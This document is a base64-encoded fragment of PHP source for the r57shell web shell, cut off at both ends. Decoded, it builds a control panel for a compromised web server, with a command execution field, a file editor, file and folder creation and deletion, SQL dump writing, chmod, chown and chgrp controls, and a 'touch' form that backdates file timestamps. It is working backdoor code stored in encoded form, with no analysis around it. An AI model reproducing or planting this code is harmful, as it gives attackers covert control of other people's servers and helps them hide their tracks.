ICBlbHNlIHsNCiAgIGlmKGVtcHR5KCRfUE9TVFsnZGlmJ10pKSB7IGZvcmVhY2goJHNxbC0+ZHVtcCBhcyAkdikgZWNobyAkdi4iXHJcbiI7IH0NCiAgIGVsc2UgaWYoJGZwIHx8IEBmdW5jdGlvbl9leGlzdHMoJ2ZpbGVfcHV0X2NvbnRlbnRzJykpeyBmb3JlYWNoKCRzcWwtPmR1bXAgYXMgJHYpeyBAZndyaXRlKCRmcCwkdi4iXHJcbiIpIG9yIEBmcHV0cygkZnAsJHYuIlxyXG4iKSBvciBAZmlsZV9wdXRfY29udGVudHMoJF9QT1NUWydkaWZfbmFtZSddLCR2LiJcclxuIik7fSB9IA0KICAgZWxzZSB7IGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3Qgd3JpdGUgaW4gZHVtcCBmaWxlIjsgfQ0KICAgfQ0KIH0gDQogDQplY2hvICI8L3RleHRhcmVhPjwvZGl2PiI7DQplY2hvICI8L2I+IjsNCmVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7DQplY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTA+IjsNCiANCmZ1bmN0aW9uIGRpdl90aXRsZSgkdGl0bGUsICRpZCkNCnsNCiAgcmV0dXJuICc8YSBzdHlsZT0iY3Vyc29yOiBwb2ludGVyOyIgb25DbGljaz0iY2hhbmdlX2RpdnN0KFwnJy4kaWQuJ1wnKTsiPicuJHRpdGxlLic8L2E+JzsNCn0NCmZ1bmN0aW9uIGRpdigkaWQpDQogeyANCiBpZihpc3NldCgkX0NPT0tJRVskaWRdKSAmJiAoJF9DT09LSUVbJGlkXT09MCkpIHJldHVybiAnPGRpdiBpZD0iJy4kaWQuJyIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij4nOyANCiAkZGl2aWQ9YXJyYXkoJ2lkNScsJ2lkOCcsJ2lkOScsJ2lkMTEnLCdpZDE2JywnaWQyNCcsJ2lkMjUnLCdpZDI2JywnaWQyNycsJ2lkMjgnLCdpZDI5JywnaWQzMycsJ2lkMzQnLCdpZDM1JywnaWQzOCcsJ2lkNzEnLCdpZDcwJywnaWQ2OScsJ2lkMTInLCdpZDEzJywnaWQxNCcsJ2lkMTUnLCdpZDIwJywnaWQyMScsJ2lkMjInLCdpZDIzJywnaWQxOScsJ2lkMTcnLCdpZDE4Jyk7DQogaWYoZW1wdHkoJF9DT09LSUVbJGlkXSkgJiYgQGluX2FycmF5KCRpZCwkZGl2aWQpKSByZXR1cm4gJzxkaXYgaWQ9IicuJGlkLiciIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+JzsgDQogcmV0dXJuICc8ZGl2IGlkPSInLiRpZC4nIj4nOw0KIH0NCiANCmlmKCEkc2FmZV9tb2RlKXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQyJ10sJ2lkMScpLiR0YWJsZV91cDIuZGl2KCdpZDEnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2NtZCcsODUsJycpKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZGlyJyw4NSwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmVsc2V7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjgnXSwnaWQyJykuJHRhYmxlX3VwMi5kaXYoJ2lkMicpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZGlyJyw4NSwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCdzYWZlX2RpcicpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDYnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQyJ10sJ2lkMycpLiR0YWJsZV91cDIuZGl2KCdpZDMnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdlX25hbWUnLDg1LCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2VkaXRfZmlsZScpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTEnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KIA0KaWYoJHNhZmVfbW9kZSB8fCAkb3Blbl9iYXNlZGlyKXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1NyddLCdpZDQnKS4kdGFibGVfdXAyLmRpdignaWQ0JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbWtfbmFtZScsNTQsKCFlbXB0eSgkX1BPU1RbJ21rX25hbWUnXSk/KCRfUE9TVFsnbWtfbmFtZSddKTooIm5hendhIikpKS53cyg0KS4iPHNlbGVjdCBuYW1lPWFjdGlvbj48b3B0aW9uIHZhbHVlPWNyZWF0ZT4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2NSddLiI8L29wdGlvbj48b3B0aW9uIHZhbHVlPWRlbGV0ZT4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2NiddLiI8L29wdGlvbj48L3NlbGVjdD4iLndzKDMpLiI8c2VsZWN0IG5hbWU9d2hhdD48b3B0aW9uIHZhbHVlPWZpbGU+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTknXS4iPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1kaXI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjAnXS4iPC9vcHRpb24+PC9zZWxlY3Q+Ii5pbignaGlkZGVuJywnY21kJywwLCdtaycpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTMnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KIA0KaWYoJHVuaXggJiYgQGZ1bmN0aW9uX2V4aXN0cygndG91Y2gnKSl7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTI4J10sJ2lkNScpLiR0YWJsZV91cDIuZGl2KCdpZDUnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmaWxlX25hbWUnLDQwLCghZW1wdHkoJF9QT1NUWydmaWxlX25hbWUnXSk/KCRfUE9TVFsnZmlsZV9uYW1lJ10pOigkZGlyLiIvcjU3c2hlbGwucGhwIikpKQ0KLndzKDQpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyNiddLndzKDIpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1OSddLiRhcnJvdy4iPC9iPiINCi53cygyKS5pbigndGV4dCcsJ2ZpbGVfbmFtZV9yJyw0MCwoIWVtcHR5KCRfUE9TVFsnZmlsZV9uYW1lX3InXSk/KCRfUE9TVFsnZmlsZV9uYW1lX3InXSk6KCIiKSkpKTsNCmVjaG8gc3IoMTUsIjxiPiBvciBzZXQgIERheSIuJGFycm93LiI8L2I+IiwNCicNCiANCiANCg0KPHNlbGVjdCBuYW1lPSJkYXkiIHNpemU9IjEiPiANCjxvcHRpb24gdmFsdWU9IjAxIj4xPC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iMDIiPjI8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIwMyI+Mzwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjA0Ij40PC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iMDUiPjU8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIwNiI+Njwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjA3Ij43PC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iMDgiPjg8L29wdGlvbj4gDQogDQoNCjxvcHRpb24gdmFsdWU9IjA5Ij45PC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iMTAiPjEwPC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iMTEiPjExPC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iMTIiPjEyPC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iMTMiPjEzPC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iMTQiPjE0PC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iMTUiPjE1PC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iMTYiPjE2PC9vcHRpb24+IA0KIA0KPG9wdGlvbiB2YWx1ZT0iMTciPjE3PC9vcHRpb24+IA0KIA0KDQo8b3B0aW9uIHZhbHVlPSIxOCI+MTg8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIxOSI+MTk8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIyMCI+MjA8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIyMSI+MjE8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIyMiI+MjI8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIyMyI+MjM8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIyNCI+MjQ8L29wdGlvbj4gDQogDQo8b3B0aW9uIHZhbHVlPSIyNSI+MjU8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIyNiI+MjY8L29wdGlvbj4gDQogDQoNCjxvcHRpb24gdmFsdWU9IjI3Ij4yNzwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjI4Ij4yODwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjI5Ij4yOTwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjMwIj4zMDwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjMxIj4zMTwvb3B0aW9uPiANCjwvc2VsZWN0PicNCi53cyg0KS4iPGI+TW9udGgiLiRhcnJvdy4iPC9iPiINCi4nDQogDQo8c2VsZWN0IG5hbWU9Im1vbnRoIiBzaXplPSIxIj4gDQo8b3B0aW9uIHZhbHVlPSJKYW51YXJ5Ij5KYW51YXJ5PC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iRmVicnVhcnkiPkZlYnJ1YXJ5PC9vcHRpb24+IA0KIA0KDQo8b3B0aW9uIHZhbHVlPSJNYXJjaCI+TWFyY2g8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSJBcHJpbCI+QXByaWw8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSJNYXkiPk1heTwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9Ikp1bmUiPkp1bmU8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSJKdWx5Ij5KdWx5PC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iQXVndXN0Ij5BdWd1c3Q8L29wdGlvbj4gDQogDQo8b3B0aW9uIHZhbHVlPSJTZXB0ZW1iZXIiPlNlcHRlbWJlcjwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9Ik9jdG9iZXIiPk9jdG9iZXI8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSJOb3ZlbWJlciI+Tm92ZW1iZXI8L29wdGlvbj4gDQogDQoNCjxvcHRpb24gdmFsdWU9IkRlY2VtYmVyIj5EZWNlbWJlcjwvb3B0aW9uPiANCjwvc2VsZWN0PicNCi53cyg0KS4iPGI+WWVhciIuJGFycm93LiI8L2I+Ig0KLicNCjxzZWxlY3QgbmFtZT0ieWVhciIgc2l6ZT0iMSI+IA0KPG9wdGlvbiB2YWx1ZT0iMTk5OCI+MTk5ODwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjE5OTkiPjE5OTk8L29wdGlvbj4gDQogDQo8b3B0aW9uIHZhbHVlPSIyMDAwIj4yMDAwPC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iMjAwMSI+MjAwMTwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjIwMDIiPjIwMDI8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIyMDAzIj4yMDAzPC9vcHRpb24+IA0KIA0KDQo8b3B0aW9uIHZhbHVlPSIyMDA0Ij4yMDA0PC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iMjAwNSI+MjAwNTwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjIwMDYiPjIwMDY8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIyMDA2Ij4yMDA3PC9vcHRpb24+IA0KIA0KPG9wdGlvbiB2YWx1ZT0iMjAwNiI+MjAwODwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjIwMDYiPjIwMDk8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIyMDA2Ij4yMDEwPC9vcHRpb24+IA0KPC9zZWxlY3Q+Jw0KLndzKDQpLiI8Yj5Ib3VyIi4kYXJyb3cuIjwvYj4iDQouJw0KIA0KDQo8c2VsZWN0IG5hbWU9ImNoYXNpIiBzaXplPSIxIj4gDQo8b3B0aW9uIHZhbHVlPSIwMSI+MDE8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIwMiI+MDI8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIwMyI+MDM8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIwNCI+MDQ8L29wdGlvbj4gDQogDQo8b3B0aW9uIHZhbHVlPSIwNSI+MDU8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIwNiI+MDY8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIwNyI+MDc8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIwOCI+MDg8L29wdGlvbj4gDQogDQoNCjxvcHRpb24gdmFsdWU9IjA5Ij4wOTwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjEwIj4xMDwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjExIj4xMTwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjEyIj4xMjwvb3B0aW9uPiANCiANCjxvcHRpb24gdmFsdWU9IjEzIj4xMzwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjE0Ij4xNDwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjE1Ij4xNTwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjE2Ij4xNjwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjE3Ij4xNzwvb3B0aW9uPiANCiANCg0KPG9wdGlvbiB2YWx1ZT0iMTgiPjE4PC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iMTkiPjE5PC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iMjAiPjIwPC9vcHRpb24+IA0KIA0KPG9wdGlvbiB2YWx1ZT0iMjEiPjIxPC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iMjIiPjIyPC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iMjMiPjIzPC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iMjQiPjI0PC9vcHRpb24+IA0KPC9zZWxlY3Q+Jw0KLndzKDQpLiI8Yj5NaW51dGUiLiRhcnJvdy4iPC9iPiINCi4nDQogDQoNCjxzZWxlY3QgbmFtZT0ibWludXRlcyIgc2l6ZT0iMSI+IA0KPG9wdGlvbiB2YWx1ZT0iMDEiPjE8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIwMiI+Mjwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjAzIj4zPC9vcHRpb24+IA0KIA0KPG9wdGlvbiB2YWx1ZT0iMDQiPjQ8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIwNSI+NTwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjA2Ij42PC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iMDciPjc8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIwOCI+ODwvb3B0aW9uPiANCiANCg0KPG9wdGlvbiB2YWx1ZT0iMDkiPjk8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIxMCI+MTA8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIxMSI+MTE8L29wdGlvbj4gDQogDQo8b3B0aW9uIHZhbHVlPSIxMiI+MTI8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIxMyI+MTM8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIxNCI+MTQ8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIxNSI+MTU8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIxNiI+MTY8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIxNyI+MTc8L29wdGlvbj4gDQogDQoNCjxvcHRpb24gdmFsdWU9IjE4Ij4xODwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjE5Ij4xOTwvb3B0aW9uPiANCiANCjxvcHRpb24gdmFsdWU9IjIwIj4yMDwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjIxIj4yMTwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjIyIj4yMjwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjIzIj4yMzwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjI0Ij4yNDwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjI1Ij4yNTwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjI2Ij4yNjwvb3B0aW9uPiANCiANCg0KPG9wdGlvbiB2YWx1ZT0iMjciPjI3PC9vcHRpb24+IA0KIA0KPG9wdGlvbiB2YWx1ZT0iMjgiPjI4PC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iMjkiPjI5PC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iMzAiPjMwPC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iMzEiPjMxPC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iMzIiPjMyPC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iMzMiPjMzPC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iMzQiPjM0PC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iMzUiPjM1PC9vcHRpb24+IA0KIA0KDQo8b3B0aW9uIHZhbHVlPSIzNiI+MzY8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIzNyI+Mzc8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIzOCI+Mzg8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIzOSI+Mzk8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSI0MCI+NDA8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSI0MSI+NDE8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSI0MiI+NDI8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSI0MyI+NDM8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSI0NCI+NDQ8L29wdGlvbj4gDQogDQoNCjxvcHRpb24gdmFsdWU9IjQ1Ij40NTwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjQ2Ij40Njwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjQ3Ij40Nzwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjQ4Ij40ODwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjQ5Ij40OTwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjUwIj41MDwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjUxIj41MTwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjUyIj41Mjwvb3B0aW9uPiANCiANCjxvcHRpb24gdmFsdWU9IjUzIj41Mzwvb3B0aW9uPiANCiANCg0KPG9wdGlvbiB2YWx1ZT0iNTQiPjU0PC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iNTUiPjU1PC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iNTYiPjU2PC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iNTciPjU3PC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iNTgiPjU4PC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iNTkiPjU5PC9vcHRpb24+IA0KPC9zZWxlY3Q+Jw0KLndzKDQpLiI8Yj5TZWNvbmQiLiRhcnJvdy4iPC9iPiINCi4nDQogDQo8c2VsZWN0IG5hbWU9InNlY29uZCIgc2l6ZT0iMSI+IA0KPG9wdGlvbiB2YWx1ZT0iMDEiPjE8L29wdGlvbj4gDQogDQoNCjxvcHRpb24gdmFsdWU9IjAyIj4yPC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iMDMiPjM8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIwNCI+NDwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjA1Ij41PC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iMDYiPjY8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIwNyI+Nzwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjA4Ij44PC9vcHRpb24+IA0KIA0KPG9wdGlvbiB2YWx1ZT0iMDkiPjk8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIxMCI+MTA8L29wdGlvbj4gDQogDQoNCjxvcHRpb24gdmFsdWU9IjExIj4xMTwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjEyIj4xMjwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjEzIj4xMzwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjE0Ij4xNDwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjE1Ij4xNTwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjE2Ij4xNjwvb3B0aW9uPiANCiANCjxvcHRpb24gdmFsdWU9IjE3Ij4xNzwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjE4Ij4xODwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjE5Ij4xOTwvb3B0aW9uPiANCiANCg0KPG9wdGlvbiB2YWx1ZT0iMjAiPjIwPC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iMjEiPjIxPC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iMjIiPjIyPC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iMjMiPjIzPC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iMjQiPjI0PC9vcHRpb24+IA0KIA0KPG9wdGlvbiB2YWx1ZT0iMjUiPjI1PC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iMjYiPjI2PC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iMjciPjI3PC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iMjgiPjI4PC9vcHRpb24+IA0KIA0KDQo8b3B0aW9uIHZhbHVlPSIyOSI+Mjk8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIzMCI+MzA8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIzMSI+MzE8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIzMiI+MzI8L29wdGlvbj4gDQogDQo8b3B0aW9uIHZhbHVlPSIzMyI+MzM8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIzNCI+MzQ8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIzNSI+MzU8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIzNiI+MzY8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSIzNyI+Mzc8L29wdGlvbj4gDQogDQoNCjxvcHRpb24gdmFsdWU9IjM4Ij4zODwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjM5Ij4zOTwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjQwIj40MDwvb3B0aW9uPiANCiANCjxvcHRpb24gdmFsdWU9IjQxIj40MTwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjQyIj40Mjwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjQzIj40Mzwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjQ0Ij40NDwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjQ1Ij40NTwvb3B0aW9uPiANCjxvcHRpb24gdmFsdWU9IjQ2Ij40Njwvb3B0aW9uPiANCiANCg0KPG9wdGlvbiB2YWx1ZT0iNDciPjQ3PC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iNDgiPjQ4PC9vcHRpb24+IA0KIA0KPG9wdGlvbiB2YWx1ZT0iNDkiPjQ5PC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iNTAiPjUwPC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iNTEiPjUxPC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iNTIiPjUyPC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iNTMiPjUzPC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iNTQiPjU0PC9vcHRpb24+IA0KPG9wdGlvbiB2YWx1ZT0iNTUiPjU1PC9vcHRpb24+IA0KIA0KDQo8b3B0aW9uIHZhbHVlPSI1NiI+NTY8L29wdGlvbj4gDQogDQo8b3B0aW9uIHZhbHVlPSI1NyI+NTc8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSI1OCI+NTg8L29wdGlvbj4gDQo8b3B0aW9uIHZhbHVlPSI1OSI+NTk8L29wdGlvbj4gDQo8L3NlbGVjdD4nDQouaW4oJ2hpZGRlbicsJ2NtZCcsMCwndG91Y2gnKQ0KLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikNCi53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCiANCiANCiRzZWxlY3Q9Jyc7DQppZihAZnVuY3Rpb25fZXhpc3RzKCdjaG1vZCcpKXskc2VsZWN0IC49ICI8b3B0aW9uIHZhbHVlPW1vZD5DSE1PRDwvb3B0aW9uPiI7fQ0KaWYoQGZ1bmN0aW9uX2V4aXN0cygnY2hvd24nKSl7JHNlbGVjdCAuPSAiPG9wdGlvbiB2YWx1ZT1vd24+Q0hPV048L29wdGlvbj4iO30NCmlmKEBmdW5jdGlvbl9leGlzdHMoJ2NoZ3JwJykpeyRzZWxlY3QgLj0gIjxvcHRpb24gdmFsdWU9Z3JwPkNIR1JQPC9vcHRpb24+Ijt9DQppZigkdW5peCAmJiAkc2VsZWN0KXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2NyddLCdpZDYnKS4kdGFibGVfdXAyLmRpdignaWQ2JykuJHRzOw0KZWNobyBAc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3BhcmFtMScsNTUsKCgkX1BPU1RbJ3BhcmFtMSddKT8oJF9QT1NUWydwYXJhbTEnXSk6KCRkaXIuIi9yNTdzaGVsbC5waHAiKSkpLndzKDIpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2OCddLiRhcnJvdy4iPC9iPiIuIjxzZWxlY3QgbmFtZT13aGF0PiIuJHNlbGVjdC4iPC9zZWxlY3Q+Ii53cyg0KS5pbigndGV4dCcsJ3BhcmFtMiB0aXRsZT0iJy4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzEnXS4nIicsMTAsKCgkX1BPU1RbJ3BhcmFtMiddKT8oJF9QT1N